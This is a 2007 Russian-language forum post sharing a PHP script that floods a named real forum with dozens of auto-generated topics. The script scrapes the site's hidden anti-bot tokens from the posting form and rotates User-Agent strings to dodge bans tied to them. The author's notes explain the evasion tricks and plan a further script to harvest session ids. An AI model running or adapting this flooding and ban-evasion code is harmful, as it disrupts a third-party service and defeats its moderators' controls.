
19.05.2007, 01:52
|
|
Banned
Регистрация: 06.05.2007
Сообщений: 87
Провел на форуме: 1420517
Репутация:
230
|
|
PHP код:
<?
#/*UTF-8*/
function make_seed() {
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());#/*чтобы случайные числа генерировались заново*/
$sid = "gQ7iq8es";/**твое ид Авторизируйся и получи его**/
$indexForum = "3";/*ИД ФОРУМА*/
$Referer = "/forum/?p=1&f=".$indexForum."&z=31364331&add=1&sid=".$sid."&w=htm";
$UserAgent ="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)";
$countOfMessages = 50; #число сообщенией(тем);
for($i = 0;$i < $countOfMessages;$i++){
srand(make_seed());
$randNum0 = rand(1,2000);
$randNum1 = rand(1,2000);
$randNum2 = rand(3000,4000);
$x = $randNum0/$randNum2;
$y = $randNum1/$randNum2;
$UserAgent = $x*$y;
$head = urlencode("ТемаЧТоНадо".$x);
$message = urlencode("ПростоВсемПривет".$y);
#####################################################
/*
сначала методом гет гружу страницу с считываю скырыте поля
затем методом пост отправляю запрос=)на создание темы
при одинаковых именах темы для юзеров не множаться
а вот для админа(бота) да-------->бан
*/
$fp = fsockopen("www.wapplanet.org", 80,$errno, $errstr, 30);
$headers_s = "GET ".$Referer." HTTP/1.1\r\n";
$headers_s.= "Accept: */*\r\n";
$headers_s.= "Accept-Encoding: gzip, deflate\r\n";
#$headers_s.= "Referer: http://www.wapplanet.org\r\n";
$headers_s.= "Accept-Language: ru\r\n";
#$headers_s.= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers_s.= "User-Agent: ".$UserAgent."\r\n";
/*через два часа дошло...rnd$$$$ генерируется по юзер агенту поэтому нужно указывать его везде и один и тот же*/
$headers_s.= "Host: www.wapplanet.org\r\n" ;
#$headers_s.= "Cache-Control: no-cache\r\n";
$headers_s.= "Connection: Close\r\n";
$headers_s.="\r\n";
echo "<pre>";
echo $headers_s ;
echo "</pre>";
fputs($fp, $headers_s);
$getText ="";
while(!feof($fp))
#echo HtmlSpecialChars(fgets($fp,1000));
$getText.= fgets($fp,1000);
fclose($fp);
echo $getText.'</br>';
preg_match('/input type=hidden name=.rnd. value=.\d{7,}/',$getText,$rnd);
preg_match('/\d{7,}/',$rnd[0],$rnd);
echo $rnd[0]."<br/>";
preg_match('/snd\d{7,}/',$getText,$snd);
echo $snd[0]."<br/>";
####################################################
$data = "subject=$head&body=$message&p=1&f=$indexForum&t=0&a=&sm=&w=htm&sid=$sid&rnd=".$rnd[0]."&add=1&".$snd[0]."=%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C";
$headers = "POST /forum/ HTTP/1.1\r\n";
$headers .= "Accept: */*\r\n";
$headers .= "Referer: http://www.wapplanet.org\r\n";
$headers .= "Accept-Language: ru\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Accept-Encoding: gzip, deflate\r\n";
$headers .= "User-Agent: ".$UserAgent."\r\n";
$headers .= "Host: www.wapplanet.org\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n";
$headers .= "Connection: Close\r\n";
$headers .= "Cache-Control: no-cache\r\n\r\n";
$headers .= $data;
echo "<pre>";
echo "###########################################################################################<br/>";
echo "тема: ".urldecode($head)." Сообщение: ".urldecode($message)."</br>";
echo $headers;
echo "</pre>";
#/*
$fpFlood = fsockopen("www.wapplanet.org",80,$errno, $errstr, 30);
fputs($fpFlood, $headers);
$getText ="";
while(!feof($fpFlood))
#echo HtmlSpecialChars(fgets($fp,1000));
$getText.= fgets($fpFlood,1000);
fclose($fpFlood);
/**/
####################
echo $getText.'</br>';
#/**/
#/*запускал с локального хоста Поэтому с кириллицей проблемы (в теме и сообщении) пока не сохранил в utf-8*/
}
?>
осталось написать скрипт ,который будет получать
sid'ы
**************
1.Комментариев почти нет
2.к PHP отношение не имею почти никакого ,так что не судите строго
3.На экран будет выводиться содержимое ответов сервера ---это нужно было для тестирования (убрать\оставить по желанию)
4.Не забудьте получить свой sid (мой забанен?=)
Его можно увидеть в строке (в куках его вроде нет)
5.то что отобразилось в моем ответе (пхп-код)немного искажено по сравнению с оригиналом=)
6.Вроде каждому юзерагенту ставится в соответствие
snd И банят по этому SND =)поэтому меняем юзер-агент =)пробовал - помогло
7.если не получается создать тему:
меняйте сид \ юзер-агент \название темы\
результат:

Последний раз редактировалось iNVLose; 19.05.2007 в 09:11..
|
|
|